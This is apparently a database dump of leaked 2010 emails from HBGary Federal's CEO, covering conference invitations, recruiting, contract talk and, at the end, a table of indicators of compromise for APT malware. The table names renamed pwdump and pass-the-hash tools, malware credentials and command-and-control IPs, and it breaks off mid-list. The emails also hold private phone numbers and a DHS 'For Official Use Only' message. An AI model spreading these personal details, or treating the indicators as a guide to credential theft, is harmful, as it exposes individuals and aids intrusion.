<aaron@hbgary.com>','/aaron@hbgary.com/new/1297009401.M141830P14101Q7643.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Fwd: TSA Cyber Security in Transportation Summit','This is good right? :)I will be giving a talk at the TSA conference on Oct. 21st on APT and Threat Intelligence.Dave Merritt, her husband, works out of OSD CIOAaronBegin forwarded message:From: \"Merritt, Mary\" &lt;Mary.Merritt@dhs.gov&gt;Date: October 7, 2010 9:04:29 AM EDTTo: &lt;aaron@hbgary.com&gt;Subject: TSA Cyber Security in Transportation SummitHi Aaron,&nbsp;I just wanted to introduce myself as my husband, David Merritt mentioned that he knows you.&nbsp;I understand that you will be presenting for Rich and I look forward to meeting you at the Summit.&nbsp;If you are ever in the TSA OIT offices, let me know.Have a fabulous day!&nbsp;Mary&nbsp;&nbsp;Mary Merritt, CAPCyber Security Awareness and OutreachInformation Assurance Division (IAD)Office of Information Technology (OIT)Transportation Security Administration (TSA)Department of Homeland Security (DHS)Phone: 571-227-5232Cell:&nbsp; 571-309-1922&nbsp;&nbsp;The contents of this correspondence shall not be interpreted as contractual direction by the U.S. Department of Homeland Security/Transportation Security Administration (TSA); should there be any question regarding this technical direction being outside approved contractual scope please contact the TSA Contracting Officer who is the sole source of contractual direction from TSA prior to the start of the activities. This correspondence is For Official Use Only.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',7215,'aaron_hbgary_com/7215.html'),(12789,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009401.M392389P14101Q7644.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Hey Jason,\r\n\r\nSounds good.  How does 12pm sound at Gordon Biersch.\r\n\r\nSorry.  Tickets = Clearances.\r\n\r\nAaron\r\n\r\n\r\nOn Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n\r\n> Aaron,\r\n> \r\n> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n> vicinity works for me, however Gordon Biersch is usually the easiest\r\n> given the proximity to the Metro Center station.  Monday is a holiday\r\n> so I will be off and Tuesday is the final walk through of my newly\r\n> constructed home so I will be out then as well.  Let me know what you\r\n> think and we can plan from there.\r\n> \r\n> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n> a few cocktails with friends.\r\n> \r\n> BTW,tickets?\r\n> \r\n> R/\r\n> \r\n> Jason\r\n> \r\n> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>> Hi Jason,\r\n>> \r\n>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>> \r\n>> BTW.  What tickets do you have? :)\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>> \r\n>>> R/\r\n>>> \r\n>>> Jason Mueller\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi Jason,\r\n>>>> \r\n>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>> when you get a chance.\r\n>>>>> \r\n>>>>> R/\r\n>>>>> \r\n>>>>> Jason Mueller\r\n>>>>> \r\n>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>> Hey Jason,\r\n>>>>>> \r\n>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',1114,'aaron_hbgary_com/1114.html'),(12790,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009401.M605791P14101Q7645.eml','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','Re: The job market and other stuff','Hey Chris,Next Thursday will work.Sorry Tickets = clearances.AaronOn Oct 7, 2010, at 8:49 AM, Chris Gerling Jr wrote:Tickets?I would be coming from Richmond.&nbsp; Next thursday i\'ll be in NOVA and available after 2pm, would that work?\r\nOn Oct 6, 2010 11:41 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:&gt; Curious... What tickets do you hold? :)&gt; \r\n&gt; Aaron&gt; &gt; On Oct 4, 2010, at 4:05 PM, Chris Gerling Jr wrote:&gt; &gt;&gt; Hi Aaron,&gt;&gt; &gt;&gt; Let me know what you\'ve got going on the next couple weeks.  Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n&gt;&gt; &gt;&gt; Thanks,&gt;&gt; &gt;&gt; Chris Gerling&gt;&gt; Security Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com&gt;&gt; \r\n&gt;&gt; &gt;&gt; On Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:&gt;&gt; Hey Chris,&gt;&gt; &gt;&gt; Anytime.  I had fun.&gt;&gt; \r\n&gt;&gt; I would like to talk some more.  I get back the week of the 4th.  Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n&gt;&gt; &gt;&gt; Aaron&gt;&gt; &gt;&gt; On Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:&gt;&gt; &gt;&gt;&gt; Hi Aaron,&gt;&gt;&gt; &gt;&gt;&gt; Thanks again for coming on with us last night, we had a great time.\r\n&gt;&gt;&gt; &gt;&gt;&gt; I was curious if you wanted to talk some more about the job landscape and what you might have available.  I\'m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group.  \r\n&gt;&gt;&gt; &gt;&gt;&gt; Thanks,&gt;&gt;&gt; &gt;&gt;&gt; Chris Gerling&gt;&gt;&gt; Security Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\n&gt;&gt; &gt;&gt; Aaron Barr&gt;&gt; CEO&gt;&gt; HBGary Federal, LLC&gt;&gt; 719.510.8478&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal, LLC\r\n&gt; 719.510.8478&gt; &gt; &gt; \r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',5220,'aaron_hbgary_com/5220.html'),(12791,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009401.M843341P14101Q7646.eml','\"Lawrence Hill\" <lawrence.hill@tasc.com>,\"Lawrence Hill\" <lawrence.hill@tasc.com>','patrick powell','Hi Lawrence,\r\n\r\nDoes Patrick work for you down in San Antonio?  I was talking with one of the sales guys in HBGary Fed and he was working a deal with Patrick to sell some software.  I was curious if this was for the re-compete work at the 90th?\r\n\r\nHow are you doing?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',8476,'aaron_hbgary_com/8476.html'),(12792,'2010-10-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009402.M253983P14101Q7648.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK let me know when you have some time.&nbsp; I may be busy all\r\nnext week.&nbsp; Are you working Monday?&nbsp; \r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 11:22 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Chris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLets do it maybe Monday or Wed next week. &nbsp;I am slammed\r\nand am going in to see John again on Monday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 10:44 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI got your vm\r\nyesterday.&nbsp; Is there a good time to chat or is it better that you come in\r\nto chat?&nbsp; Up to you.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; |Chris\r\nClair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2624,'aaron_hbgary_com/2624.html'),(12793,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009402.M458379P14101Q7649.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Meeting','yep.On Oct 7, 2010, at 9:29 AM, Clair, Chris (TASC) wrote:OK let me know when you have some time.&nbsp; I may be busy all next week.&nbsp; Are you working Monday?&nbsp;&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, October 06, 2010 11:22 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Meeting&nbsp;Hey Chris,&nbsp;Lets do it maybe Monday or Wed next week. &nbsp;I am slammed and am going in to see John again on Monday.&nbsp;Aaron&nbsp;On Oct 5, 2010, at 10:44 AM, Clair, Chris (TASC) wrote:Hi Aaron,I got your vm yesterday.&nbsp; Is there a good time to chat or is it better that you come in to chat?&nbsp; Up to you.Thanks,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chris__________________________________________________&nbsp;&nbsp;&lt;~WRD000.jpg&gt;|Chris Clair&nbsp;|&nbsp;Program Manager&nbsp;|&nbsp;703.449.3964&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',7193,'aaron_hbgary_com/7193.html'),(12794,'2010-10-07','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009402.M46684P14101Q7647.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\npoly is still active however taking another CI is no big deal.\r\n\r\nR/\r\n\r\nJason\r\n\r\nOn Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n> Hey Jason,\r\n>\r\n> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>\r\n> Sorry.  Tickets = Clearances.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>> so I will be off and Tuesday is the final walk through of my newly\r\n>> constructed home so I will be out then as well.  Let me know what you\r\n>> think and we can plan from there.\r\n>>\r\n>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>> a few cocktails with friends.\r\n>>\r\n>> BTW,tickets?\r\n>>\r\n>> R/\r\n>>\r\n>> Jason\r\n>>\r\n>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>> Hi Jason,\r\n>>>\r\n>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>\r\n>>> BTW.  What tickets do you have? :)\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>\r\n>>>> R/\r\n>>>>\r\n>>>> Jason Mueller\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> Hi Jason,\r\n>>>>>\r\n>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>> when you get a chance.\r\n>>>>>>\r\n>>>>>> R/\r\n>>>>>>\r\n>>>>>> Jason Mueller\r\n>>>>>>\r\n>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>> Hey Jason,\r\n>>>>>>>\r\n>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal, LLC\r\n>>>>>>> 719.510.8478\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal, LLC\r\n>>>>> 719.510.8478\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n',7524,'aaron_hbgary_com/7524.html'),(12795,'2010-10-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009402.M684037P14101Q7650.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: patrick powell','Yes he is pm after jose left\r\n\r\n\r\n\r\nOn Oct 7, 2010, at 7:23 AM, Aaron Barr  wrote:\r\n\r\n> Hi Lawrence,\r\n>\r\n> Does Patrick work for you down in San Antonio?  I was talking with one of the sales guys in HBGary Fed and he was working a deal with Patrick to sell some software.  I was curious if this was for the re-compete work at the 90th?\r\n>\r\n> How are you doing?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',5165,'aaron_hbgary_com/5165.html'),(12796,'2010-10-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009402.M975114P14101Q7651.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Consulting / Support?','Begin forwarded message:From: &quot;Hill, Lawrence C (TASC)&quot; &lt;lawrence.hill@TASC.COM&gt;\r\nDate: October 6, 2010 1:03:15 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Cc: &quot;Toro, Radames (TASC)&quot; &lt;Radames.Toro@TASC.COM&gt;\r\nSubject: RE: Consulting / Support?Ted,May have something!   Radar Toro is in need for folks to support a surge\r\neffort under JNIC contract to support a number of areas like Test andevaluations.   Sounds like work is flexible in terms of hours and maybelocations.   Radar said to call him for details.\r\n719 622-5202Vr,L\r\n',4795,'aaron_hbgary_com/4795.html'),(12797,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009403.M266370P14101Q7652.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Marketing Material and other items','Hi DeeAnn,\r\n\r\nAre you sending these other items to my house as well?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',13200,'aaron_hbgary_com/13200.html'),(12798,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009403.M534590P14101Q7653.eml','\"Ted Vera\" <ted@hbgary.com>','Re: patrick powell','OK so Bob is trying to sell Patrick software, Patrick wants to buy software.  I am not sure if this is to put on the existing contract or to bid for the follow-on.\r\n\r\nAre we being added to the team?  When does that all start?\r\n\r\nAaron\r\n\r\nOn Oct 7, 2010, at 9:32 AM, Ted Vera wrote:\r\n\r\n> Yes he is pm after jose left\r\n> \r\n> \r\n> \r\n> On Oct 7, 2010, at 7:23 AM, Aaron Barr  wrote:\r\n> \r\n>> Hi Lawrence,\r\n>> \r\n>> Does Patrick work for you down in San Antonio?  I was talking with one of the sales guys in HBGary Fed and he was working a deal with Patrick to sell some software.  I was curious if this was for the re-compete work at the 90th?\r\n>> \r\n>> How are you doing?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',10022,'aaron_hbgary_com/10022.html'),(12799,'2010-10-07','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297009403.M827636P14101Q7654.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Social Media Training - Half Day @ Thu Oct 7 10am - 2pm (aaron@hbgary.com)',' more details &raquo;Social Media Training - Half DayView your event at http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=Xzg1MjMwZGhoOG9vM2NlMjU3NHEzOGQ5cDhvc2owZ3E1ODUyamljaGo2bDIzOGgxZzZncGowYzFnNjBvMzBjMWc2MG8zMGMxZzYwbzMwYzFnNjBvMzBjMWc2MG8zMGMxZzYwbzMwYzAgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTQjdGVkQGhiZ2FyeS5jb21lYWRhNTQyYzk2ZWY2ZTk0NDBiMWExZmNiNzcyNzBkZjQwYzliOTU5&amp;ctz=America%2FNew_York&amp;hl=en.WhenThu Oct 7 10am – 2pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;mark@hbgary.com&#x2022;aaron@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11251,'aaron_hbgary_com/11251.html'),(12800,'2010-10-07','\"Hill, Lawrence C (TASC)\" <lawrence.hill@TASC.COM>','/aaron@hbgary.com/new/1297009404.M252309P14101Q7656.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: patrick powell','Aaron,  Doing great (always have a positive attitude right?).\r\n\r\nPatrick does work in our group under Shane Curtis the Dept Mgr there.\r\nPatrick is the PM for the 92 IOS work and you are likely correct.   I\'m\r\ngoing to San Antonio week of Oct 18 to work the recompete strategy and\r\npricing.   Ted and I have been encouraging the folks there to give\r\nstrong consideration to your capabilities and glad to hear there may be\r\nsome movement.\r\n\r\nHope we can all catch up again soon.\r\n\r\nL\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, October 07, 2010 7:24 AM\r\nTo: Hill, Lawrence C (TASC)\r\nCc: Ted Vera\r\nSubject: patrick powell\r\n\r\nHi Lawrence,\r\n\r\nDoes Patrick work for you down in San Antonio?  I was talking with one\r\nof the sales guys in HBGary Fed and he was working a deal with Patrick\r\nto sell some software.  I was curious if this was for the re-compete\r\nwork at the 90th?\r\n\r\nHow are you doing?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2666,'aaron_hbgary_com/2666.html'),(12801,'2010-10-07','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297009404.M31481P14101Q7655.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Info on iprinp.dll and svchost.exe','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n \r\n\r\nWhy do you want this?  J \r\n\r\n\r\n \r\n\r\nSorry I didn’t get back to yesterday.  I was at\r\nEOP with Christos until 5PM and then rush hour traffic home after that.  I’m\r\navailable to chat today if you have time please give me a call  as the\r\ntalk TSA is expecting is called Emerging Threats.   HBGary is the only\r\nVendor that is speaking at this event – besides one of their contractors\r\nwho is speaking on social network exploitation… ;)  \r\n\r\n \r\n\r\nBelow is some info on IPRINP.dll.  Remember that IPRINP.dll\r\nis based on the soysauce code and there are many many variants.  The code\r\nI saw at King and Spaulding was sap.dll but was almost exactly the same as\r\nIPRINP.  I haven’t looked at rasauto32.dll but I believe it also to\r\nbe soysauce…   \r\n\r\n \r\n\r\nLet me know if you need anything else.\r\n\r\n \r\n\r\nTTYS,\r\n\r\nRich\r\n\r\n \r\n\r\n\r\n \r\n  \r\n  Criteria\r\n  \r\n  \r\n  Notes\r\n  \r\n \r\n \r\n  \r\n  \\rasauto32.dll\r\n  \r\n  \r\n  The\r\n  name rasauto32.dll is not legitimate. Look for any instance.\r\n  \r\n \r\n \r\n  \r\n  \\iprinp.dll\r\n  \r\n  \r\n  The\r\n  name iprinp.dll is not legitimate. Look for any instance.\r\n  \r\n \r\n \r\n  \r\n  \\ati.exe\r\n  \r\n  \r\n  Ati.exe\r\n  is a subcomponent of rasauto32.dll. Look for any instance.\r\n  \r\n \r\n \r\n  \r\n  \\windows\\ntshrui.dll\r\n  \r\n  \r\n  The\r\n  exact patch to ntshrui.dll must be used. The path provides the persistence\r\n  mechanism.\r\n  \r\n \r\n \r\n  \r\n  \\windows\\system\\ctfmon.exe\r\n  \r\n  \r\n  Ctfmon.exe\r\n  is a renamed version of rasauto32.dll. The exact path must be used. There is\r\n  a valid ctfmon.exe in the \\windows\\system32 directory.\r\n  \r\n \r\n \r\n  \r\n  mspoiscon\r\n  \r\n  \r\n  Search\r\n  for any file name containing mspoiscon. Limited success is expected due to\r\n  mspoiscon&#39;s use of alternate data streams to hide its presence.\r\n  \r\n \r\n \r\n  \r\n  \\reg32.exe\r\n  \r\n  \r\n  Reg32.exe\r\n  is a renamed version of rasauto32.dll.\r\n  \r\n \r\n \r\n  \r\n  \\windows\\system32\\update.exe\r\n  \r\n  \r\n  The\r\n  exact path for update.exe must be used. There are numerous valid update.exe\r\n  files.\r\n  \r\n \r\n \r\n  \r\n  \\r.exe\r\n  \r\n  \r\n  R.exe\r\n  is a renamed version of rar.exe. It can exist in any directory.\r\n  \r\n \r\n \r\n  \r\n  \\p.exe\r\n  \r\n  \r\n  P.exe\r\n  is a renamed pwdump tool. It was exist in any directory.\r\n  \r\n \r\n \r\n  \r\n  \\a.bat\r\n  \r\n  \r\n  The\r\n  a.bat file is a batch file that executes update.exe. It can exist in any\r\n  directory.\r\n  \r\n \r\n \r\n  \r\n  \\iisstart[1].htm\r\n  \r\n  \r\n  This\r\n  internet history artifact can indicate a system attempted to communicate to a\r\n  command and control server.\r\n  \r\n \r\n \r\n  \r\n  \\gethash.exe\r\n  \r\n  \r\n  Gethash.exe\r\n  is a renamed pwdump tool. It can exist in any directory.\r\n  \r\n \r\n \r\n  \r\n  \\w.exe\r\n  \r\n  \r\n  W.exe\r\n  is a renamed portion of the PTH Toolkit. It can exist in any directory.\r\n  \r\n \r\n \r\n  \r\n  \\erroinfo.sy\r\n  \r\n  \r\n  This\r\n  indicator also covers erroinfo.sys. Both files are artifacts created by\r\n  update.exe.\r\n  \r\n \r\n \r\n  \r\n  \\remcomsvc.exe\r\n  \r\n  \r\n  Remcomsvc.exe\r\n  is an artifact left on a system after the execution of the RemCom.exe\r\n  software. This artifact will be present on a system even if the remcom.exe\r\n  has been renamed.\r\n  \r\n \r\n \r\n  \r\n  \\111.exe\r\n  \r\n  \r\n  111.exe\r\n  is the dropper for rasauto32.dll. It can exist in any directory.\r\n  \r\n \r\n \r\n  \r\n  \\iam.dll\r\n  \r\n  \r\n \r\n \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  macrosoft\r\n  corp.\r\n  \r\n  \r\n  Some\r\n  iprinp.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n \r\n \r\n  \r\n  superhard\r\n  corp.\r\n  \r\n  \r\n  Some\r\n  rasauto32.dll variants create a patched system shell with this unique string\r\n  embedded.\r\n  \r\n \r\n \r\n  \r\n  SvcHost.DLL.log\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  process-%d-stoped!\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  %s\\%05d.dat\r\n  \r\n  \r\n  This\r\n  unique string is found in many iprinp.dll variants.\r\n  \r\n \r\n \r\n  \r\n  Installed\r\n  RAM: %ldMB\r\n  \r\n  \r\n  String\r\n  found in code from WinVNC and various APT malware.\r\n  \r\n \r\n \r\n  \r\n  lsremora64.dll\r\n  \r\n  \r\n  This\r\n  string is found in pwdump variants.\r\n  \r\n \r\n \r\n  \r\n  d0ta010@hotmail.com\r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  lich123456@hotmail.com\r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  2j3c1k\r\n  \r\n  \r\n  \r\n  Hard-coded\r\n  credentials for the iprinp.dll MSN variant.\r\n  \r\n \r\n \r\n  \r\n  72.167.34.54\r\n  \r\n  \r\n  This\r\n  IP address was hard-coded into many rasauto32.dll variants.\r\n  \r\n \r\n \r\n  \r\n  72.167.33.182\r\n  \r\n  \r\n  QNAO\r\n  reported malicious IP address.\r\n  \r\n \r\n \r\n  \r\n  67.152.57.55\r\n  \r\n  \r\n  QNAO\r\n  reported malicious IP 